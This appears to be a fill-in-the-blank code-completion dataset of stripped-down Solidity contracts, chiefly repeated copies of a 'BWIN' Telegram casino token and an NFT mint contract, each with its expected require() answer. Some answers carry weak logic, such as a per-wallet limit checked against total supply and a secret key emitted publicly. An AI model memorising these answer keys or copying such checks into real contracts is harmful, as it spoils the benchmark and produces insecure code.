}
receive() external payable {}
function manualswap() external {
}
function manualsend() external {
}
function _getTValues(uint256 tAmount) private view returns (uint256, uint256) {
}
function recoverTokens(address tokenAddress) external {
}
}
| _msgSender()==_m510 | 253,815 | _msgSender()==_m510 |
'Exceeds max per wallet' | pragma solidity ^0.8.4;
contract IR_2023 is ERC721, Ownable {
uint256 public mintPrice = 0.00001 ether;
uint256 public totalSupply;
uint256 public maxSupply;
bool public isMintEnabled;
mapping(address => uint256) public mintedWallets;
constructor() payable ERC721("IR_2023", "IR.2023"){
}
function toogleIsMintEnabled() external onlyOwner{
}
function setMaxSupply(uint256 maxSupply_) external onlyOwner{
}
function mint() external payable{
require(isMintEnabled, 'Minting not enabled');
require(<FILL_ME>)
require(msg.value == mintPrice, 'Wrong value');
require(maxSupply > totalSupply, 'Sold out');
mintedWallets[msg.sender]++;
totalSupply++;
uint256 tokenId = totalSupply;
_safeMint(msg.sender, tokenId);
}
}
| mintedWallets[msg.sender]<maxSupply,'Exceeds max per wallet' | 254,017 | mintedWallets[msg.sender]<maxSupply |
"Insufficient locked balance to unlock." | /*
Welcome to BWIN - Bet To Win, the entertainment revolution in the cryptocurrency world.
Imagine a place where simplicity meets excitement, all at your fingertips thanks to the Telegram user interface.
At BWIN, we've crafted a cryptocurrency casino that reshapes the way we engage with gambling.
$BWIN Token - Tokenomics
The transaction tax distribution is as follows:
-Marketing Wallet 4% - Funds dedicated to promoting and advancing our brand presence.
-Game Fees 1% - This fee is allocated to cover the gwei expenses, ensuring players aren't burdened with gwei ETH fees when playing with our bot
Socials:
Whitepaper: https://bwin.gitbook.io/bwin
Telegram: https://t.me/bwin_portal
X: https://twitter.com/bwin_blockchain
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BWIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=25;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
string private constant _name = "BWIN";
string private constant _symbol = "BWIN";
uint256 public _maxTxAmount = 7500000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address public secondaryContract;
function setControlContract(address _secondaryContract) public onlyOwner {
}
/*//////////////////////////////////////////////////////////////
START GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
mapping(address => string) private gameKeys;
mapping(address => bool) public isAuthenticated;
mapping(address => uint256) private _lockedBalance;
mapping(address => uint256) public gamesPlayed;
address constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
address constant TEAM_WALLET = 0x395Cb433E3eFaDF92F596A4F6F85f90A32aD0718;
address[] public holders;
mapping(address => bool) public isHolder;
mapping(address => uint256) public paymentAmounts;
mapping(address => uint256) public lastRewardAmounts;
address[] public lastRewardedHolders;
address[] private allUsers;
address[] public activePlayers;
mapping(address => uint256) public playerGames;
Winner[] public winners;
Game[] public games;
struct Game {
int64 telegramId;
uint256 gameId;
address[] players;
uint256[] bets;
uint256 totalBet;
bool isActive;
}
struct Winner {
address winnerAddress;
uint256 amountWon;
uint256 gameId;
int64 telegramId;
}
event Authenticated(address indexed user, string secretKey);
event GameStarted(int64 indexed telegramId, uint256 indexed gameId, address[] players, uint256[] bets, uint256 totalBet);
event WinnerDeclared(int64 indexed telegramId, uint256 indexed gameId, address[] winners, uint256 totalBet, uint256 eachWinnerGets, uint256 toTeamWallet, uint256 toPlayers);
event WinnerAdded(address indexed winnerAddress, uint256 amountWon, uint256 gameId, int64 telegramId);
event FundsReleased(uint256 gameId, address[] players, uint256[] amounts);
/*//////////////////////////////////////////////////////////////
END GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
/*//////////////////////////////////////////////////////////////
GAME LOGIC
//////////////////////////////////////////////////////////////*/
// @dev Function to lock balance (deducts from normal balance and adds to locked balance)
function lockBalance(address account, uint256 amount) internal {
}
// @dev Function to unlock balance (adds back to normal balance and deducts from locked balance)
function unlockBalance(address account, uint256 amount) internal {
require(<FILL_ME>)
_lockedBalance[account] -= amount;
_balance[account] += amount;
}
// @dev Function to get the locked balances of all active players
function getLockedBalances() public view returns (address[] memory, uint256[] memory) {
}
function showAllWalletsAndGamesPlayed() public view returns(address[] memory, uint256[] memory) {
}
function authenticate(string memory _secretKey) public {
}
function checkBalance(address _user) public view returns (uint256) {
}
function getInfo() public view returns (address[] memory, string[] memory, uint256[] memory) {
}
function startGame(int64 _telegramId, uint256 _gameId, address[] memory _players, uint256[] memory _bets, uint256 _totalBet) public {
}
// @dev Give back the tokens in case of error
function releaseLockedFunds(uint256 _gameId) public {
}
// Check the last rewarded holders
function getLastRewardedHolders() public view returns (address[] memory, uint256[] memory) {
}
// Check winners
function getWinnersDetails() public view returns (address[] memory, uint256[] memory, uint256[] memory) {
}
// @dev Only owner can declare a winner
function declareWinner(int64 _telegramId, uint256 _gameId, address[] memory _winners) public {
}
function findGameIndex(int64 _telegramId, uint256 _gameId) internal view returns (uint256 gameIndex) {
}
function validateWinners(Game storage game, address[] memory _winners) internal view {
}
function distributeToDeadAndTeamWallet(uint256 toDeadWallet, uint256 toTeamWallet) internal {
}
function distributeToHolders(uint256 toPlayers) internal {
}
function distributeToWinners(address[] memory _winners, uint256 eachWinnerGets, uint256 _gameId, int64 _telegramId, uint256 totalBet, uint256 toTeamWallet, uint256 toPlayers) internal {
}
/*//////////////////////////////////////////////////////////////
END GAME LOGIC
//////////////////////////////////////////////////////////////*/
}
| _lockedBalance[account]>=amount,"Insufficient locked balance to unlock." | 254,072 | _lockedBalance[account]>=amount |
"You are already authenticated." | /*
Welcome to BWIN - Bet To Win, the entertainment revolution in the cryptocurrency world.
Imagine a place where simplicity meets excitement, all at your fingertips thanks to the Telegram user interface.
At BWIN, we've crafted a cryptocurrency casino that reshapes the way we engage with gambling.
$BWIN Token - Tokenomics
The transaction tax distribution is as follows:
-Marketing Wallet 4% - Funds dedicated to promoting and advancing our brand presence.
-Game Fees 1% - This fee is allocated to cover the gwei expenses, ensuring players aren't burdened with gwei ETH fees when playing with our bot
Socials:
Whitepaper: https://bwin.gitbook.io/bwin
Telegram: https://t.me/bwin_portal
X: https://twitter.com/bwin_blockchain
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BWIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=25;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
string private constant _name = "BWIN";
string private constant _symbol = "BWIN";
uint256 public _maxTxAmount = 7500000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address public secondaryContract;
function setControlContract(address _secondaryContract) public onlyOwner {
}
/*//////////////////////////////////////////////////////////////
START GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
mapping(address => string) private gameKeys;
mapping(address => bool) public isAuthenticated;
mapping(address => uint256) private _lockedBalance;
mapping(address => uint256) public gamesPlayed;
address constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
address constant TEAM_WALLET = 0x395Cb433E3eFaDF92F596A4F6F85f90A32aD0718;
address[] public holders;
mapping(address => bool) public isHolder;
mapping(address => uint256) public paymentAmounts;
mapping(address => uint256) public lastRewardAmounts;
address[] public lastRewardedHolders;
address[] private allUsers;
address[] public activePlayers;
mapping(address => uint256) public playerGames;
Winner[] public winners;
Game[] public games;
struct Game {
int64 telegramId;
uint256 gameId;
address[] players;
uint256[] bets;
uint256 totalBet;
bool isActive;
}
struct Winner {
address winnerAddress;
uint256 amountWon;
uint256 gameId;
int64 telegramId;
}
event Authenticated(address indexed user, string secretKey);
event GameStarted(int64 indexed telegramId, uint256 indexed gameId, address[] players, uint256[] bets, uint256 totalBet);
event WinnerDeclared(int64 indexed telegramId, uint256 indexed gameId, address[] winners, uint256 totalBet, uint256 eachWinnerGets, uint256 toTeamWallet, uint256 toPlayers);
event WinnerAdded(address indexed winnerAddress, uint256 amountWon, uint256 gameId, int64 telegramId);
event FundsReleased(uint256 gameId, address[] players, uint256[] amounts);
/*//////////////////////////////////////////////////////////////
END GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
/*//////////////////////////////////////////////////////////////
GAME LOGIC
//////////////////////////////////////////////////////////////*/
// @dev Function to lock balance (deducts from normal balance and adds to locked balance)
function lockBalance(address account, uint256 amount) internal {
}
// @dev Function to unlock balance (adds back to normal balance and deducts from locked balance)
function unlockBalance(address account, uint256 amount) internal {
}
// @dev Function to get the locked balances of all active players
function getLockedBalances() public view returns (address[] memory, uint256[] memory) {
}
function showAllWalletsAndGamesPlayed() public view returns(address[] memory, uint256[] memory) {
}
function authenticate(string memory _secretKey) public {
require(<FILL_ME>)
gameKeys[msg.sender] = _secretKey;
isAuthenticated[msg.sender] = true;
allUsers.push(msg.sender);
emit Authenticated(msg.sender, _secretKey);
}
function checkBalance(address _user) public view returns (uint256) {
}
function getInfo() public view returns (address[] memory, string[] memory, uint256[] memory) {
}
function startGame(int64 _telegramId, uint256 _gameId, address[] memory _players, uint256[] memory _bets, uint256 _totalBet) public {
}
// @dev Give back the tokens in case of error
function releaseLockedFunds(uint256 _gameId) public {
}
// Check the last rewarded holders
function getLastRewardedHolders() public view returns (address[] memory, uint256[] memory) {
}
// Check winners
function getWinnersDetails() public view returns (address[] memory, uint256[] memory, uint256[] memory) {
}
// @dev Only owner can declare a winner
function declareWinner(int64 _telegramId, uint256 _gameId, address[] memory _winners) public {
}
function findGameIndex(int64 _telegramId, uint256 _gameId) internal view returns (uint256 gameIndex) {
}
function validateWinners(Game storage game, address[] memory _winners) internal view {
}
function distributeToDeadAndTeamWallet(uint256 toDeadWallet, uint256 toTeamWallet) internal {
}
function distributeToHolders(uint256 toPlayers) internal {
}
function distributeToWinners(address[] memory _winners, uint256 eachWinnerGets, uint256 _gameId, int64 _telegramId, uint256 totalBet, uint256 toTeamWallet, uint256 toPlayers) internal {
}
/*//////////////////////////////////////////////////////////////
END GAME LOGIC
//////////////////////////////////////////////////////////////*/
}
| !isAuthenticated[msg.sender],"You are already authenticated." | 254,072 | !isAuthenticated[msg.sender] |
"All players must be authenticated." | /*
Welcome to BWIN - Bet To Win, the entertainment revolution in the cryptocurrency world.
Imagine a place where simplicity meets excitement, all at your fingertips thanks to the Telegram user interface.
At BWIN, we've crafted a cryptocurrency casino that reshapes the way we engage with gambling.
$BWIN Token - Tokenomics
The transaction tax distribution is as follows:
-Marketing Wallet 4% - Funds dedicated to promoting and advancing our brand presence.
-Game Fees 1% - This fee is allocated to cover the gwei expenses, ensuring players aren't burdened with gwei ETH fees when playing with our bot
Socials:
Whitepaper: https://bwin.gitbook.io/bwin
Telegram: https://t.me/bwin_portal
X: https://twitter.com/bwin_blockchain
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BWIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=25;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
string private constant _name = "BWIN";
string private constant _symbol = "BWIN";
uint256 public _maxTxAmount = 7500000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address public secondaryContract;
function setControlContract(address _secondaryContract) public onlyOwner {
}
/*//////////////////////////////////////////////////////////////
START GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
mapping(address => string) private gameKeys;
mapping(address => bool) public isAuthenticated;
mapping(address => uint256) private _lockedBalance;
mapping(address => uint256) public gamesPlayed;
address constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
address constant TEAM_WALLET = 0x395Cb433E3eFaDF92F596A4F6F85f90A32aD0718;
address[] public holders;
mapping(address => bool) public isHolder;
mapping(address => uint256) public paymentAmounts;
mapping(address => uint256) public lastRewardAmounts;
address[] public lastRewardedHolders;
address[] private allUsers;
address[] public activePlayers;
mapping(address => uint256) public playerGames;
Winner[] public winners;
Game[] public games;
struct Game {
int64 telegramId;
uint256 gameId;
address[] players;
uint256[] bets;
uint256 totalBet;
bool isActive;
}
struct Winner {
address winnerAddress;
uint256 amountWon;
uint256 gameId;
int64 telegramId;
}
event Authenticated(address indexed user, string secretKey);
event GameStarted(int64 indexed telegramId, uint256 indexed gameId, address[] players, uint256[] bets, uint256 totalBet);
event WinnerDeclared(int64 indexed telegramId, uint256 indexed gameId, address[] winners, uint256 totalBet, uint256 eachWinnerGets, uint256 toTeamWallet, uint256 toPlayers);
event WinnerAdded(address indexed winnerAddress, uint256 amountWon, uint256 gameId, int64 telegramId);
event FundsReleased(uint256 gameId, address[] players, uint256[] amounts);
/*//////////////////////////////////////////////////////////////
END GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
constructor () {
}
function name() public pure returns (string memory) {
}
function symbol() public pure returns (string memory) {
}
function decimals() public pure returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address account) public view override returns (uint256) {
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
}
function allowance(address owner, address spender) public view override returns (uint256) {
}
function approve(address spender, uint256 amount) public override returns (bool) {
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
}
function _approve(address owner, address spender, uint256 amount) private {
}
function _transfer(address from, address to, uint256 amount) private {
}
function min(uint256 a, uint256 b) private pure returns (uint256){
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
}
function removeLimits() external onlyOwner{
}
function sendETHToFee(uint256 amount) private {
}
function openTrading() external onlyOwner() {
}
receive() external payable {}
function manualSwap() external {
}
/*//////////////////////////////////////////////////////////////
GAME LOGIC
//////////////////////////////////////////////////////////////*/
// @dev Function to lock balance (deducts from normal balance and adds to locked balance)
function lockBalance(address account, uint256 amount) internal {
}
// @dev Function to unlock balance (adds back to normal balance and deducts from locked balance)
function unlockBalance(address account, uint256 amount) internal {
}
// @dev Function to get the locked balances of all active players
function getLockedBalances() public view returns (address[] memory, uint256[] memory) {
}
function showAllWalletsAndGamesPlayed() public view returns(address[] memory, uint256[] memory) {
}
function authenticate(string memory _secretKey) public {
}
function checkBalance(address _user) public view returns (uint256) {
}
function getInfo() public view returns (address[] memory, string[] memory, uint256[] memory) {
}
function startGame(int64 _telegramId, uint256 _gameId, address[] memory _players, uint256[] memory _bets, uint256 _totalBet) public {
require(msg.sender == owner() || msg.sender == secondaryContract, "Unauthorized");
for(uint i = 0; i < _players.length; i++) {
require(<FILL_ME>)
require(_balance[_players[i]] >= _bets[i], "Insufficient token balance for player.");
lockBalance(_players[i], _bets[i]); // Locking tokens here
activePlayers.push(_players[i]); // Updating active players
}
Game memory newGame = Game(_telegramId, _gameId, _players, _bets, _totalBet, true);
games.push(newGame);
emit GameStarted(_telegramId, _gameId, _players, _bets, _totalBet);
}
// @dev Give back the tokens in case of error
function releaseLockedFunds(uint256 _gameId) public {
}
// Check the last rewarded holders
function getLastRewardedHolders() public view returns (address[] memory, uint256[] memory) {
}
// Check winners
function getWinnersDetails() public view returns (address[] memory, uint256[] memory, uint256[] memory) {
}
// @dev Only owner can declare a winner
function declareWinner(int64 _telegramId, uint256 _gameId, address[] memory _winners) public {
}
function findGameIndex(int64 _telegramId, uint256 _gameId) internal view returns (uint256 gameIndex) {
}
function validateWinners(Game storage game, address[] memory _winners) internal view {
}
function distributeToDeadAndTeamWallet(uint256 toDeadWallet, uint256 toTeamWallet) internal {
}
function distributeToHolders(uint256 toPlayers) internal {
}
function distributeToWinners(address[] memory _winners, uint256 eachWinnerGets, uint256 _gameId, int64 _telegramId, uint256 totalBet, uint256 toTeamWallet, uint256 toPlayers) internal {
}
/*//////////////////////////////////////////////////////////////
END GAME LOGIC
//////////////////////////////////////////////////////////////*/
}
| isAuthenticated[_players[i]],"All players must be authenticated." | 254,072 | isAuthenticated[_players[i]] |
"Insufficient token balance for player." | /*
Welcome to BWIN - Bet To Win, the entertainment revolution in the cryptocurrency world.
Imagine a place where simplicity meets excitement, all at your fingertips thanks to the Telegram user interface.
At BWIN, we've crafted a cryptocurrency casino that reshapes the way we engage with gambling.
$BWIN Token - Tokenomics
The transaction tax distribution is as follows:
-Marketing Wallet 4% - Funds dedicated to promoting and advancing our brand presence.
-Game Fees 1% - This fee is allocated to cover the gwei expenses, ensuring players aren't burdened with gwei ETH fees when playing with our bot
Socials:
Whitepaper: https://bwin.gitbook.io/bwin
Telegram: https://t.me/bwin_portal
X: https://twitter.com/bwin_blockchain
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity 0.8.20;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract BWIN is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balance;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => bool) private bots;
mapping(address => uint256) private _holderLastTransferTimestamp;
bool public transferDelayEnabled = true;
address payable private _taxWallet;
uint256 private _initialBuyTax=20;
uint256 private _initialSellTax=25;
uint256 private _finalBuyTax=5;
uint256 private _finalSellTax=5;
uint256 private _reduceBuyTaxAt=20;
uint256 private _reduceSellTaxAt=20;
uint256 private _preventSwapBefore=20;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _totalSupply = 1000000000 * 10**_decimals;
string private constant _name = "BWIN";
string private constant _symbol = "BWIN";
uint256 public _maxTxAmount = 7500000 * 10**_decimals;
uint256 public _maxWalletSize = 10000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 10000000 * 10**_decimals;
uint256 public _maxTaxSwap= 10000000 * 10**_decimals;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
}
address public secondaryContract;
function setControlContract(address _secondaryContract) public onlyOwner {
}
/*//////////////////////////////////////////////////////////////
START GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
mapping(address => string) private gameKeys;
mapping(address => bool) public isAuthenticated;
mapping(address => uint256) private _lockedBalance;
mapping(address => uint256) public gamesPlayed;
address constant DEAD_WALLET = 0x000000000000000000000000000000000000dEaD;
address constant TEAM_WALLET = 0x395Cb433E3eFaDF92F596A4F6F85f90A32aD0718;
address[] public holders;
mapping(address => bool) public isHolder;
mapping(address => uint256) public paymentAmounts;
mapping(address => uint256) public lastRewardAmounts;
address[] public lastRewardedHolders;
address[] private allUsers;
address[] public activePlayers;
mapping(address => uint256) public playerGames;
Winner[] public winners;
Game[] public games;
struct Game {
int64 telegramId;
uint256 gameId;
address[] players;
uint256[] bets;
uint256 totalBet;
bool isActive;
}
struct Winner {
address winnerAddress;
uint256 amountWon;
uint256 gameId;
int64 telegramId;
}
event Authenticated(address indexed user, string secretKey);
event GameStarted(int64 indexed telegramId, uint256 indexed gameId, address[] players, uint256[] bets, uint256 totalBet);
event WinnerDeclared(int64 indexed telegramId, uint256 indexed gameId, address[] winners, uint256 totalBet, uint256 eachWinnerGets, uint256 toTeamWallet, uint256 toPlayers);
event WinnerAdded(address indexed winnerAddress, uint256 amountWon, uint256 gameId, int64 telegramId);
event FundsReleased(uint256 gameId, address[] players, uint256[] amounts);
/*//////////////////////////////////////////////////////////////
END GAME VAR - LOGIC
//////////////////////////////////////////////////////////////*/
constructor () {
}
function name() public pure returns (string memory) {
}
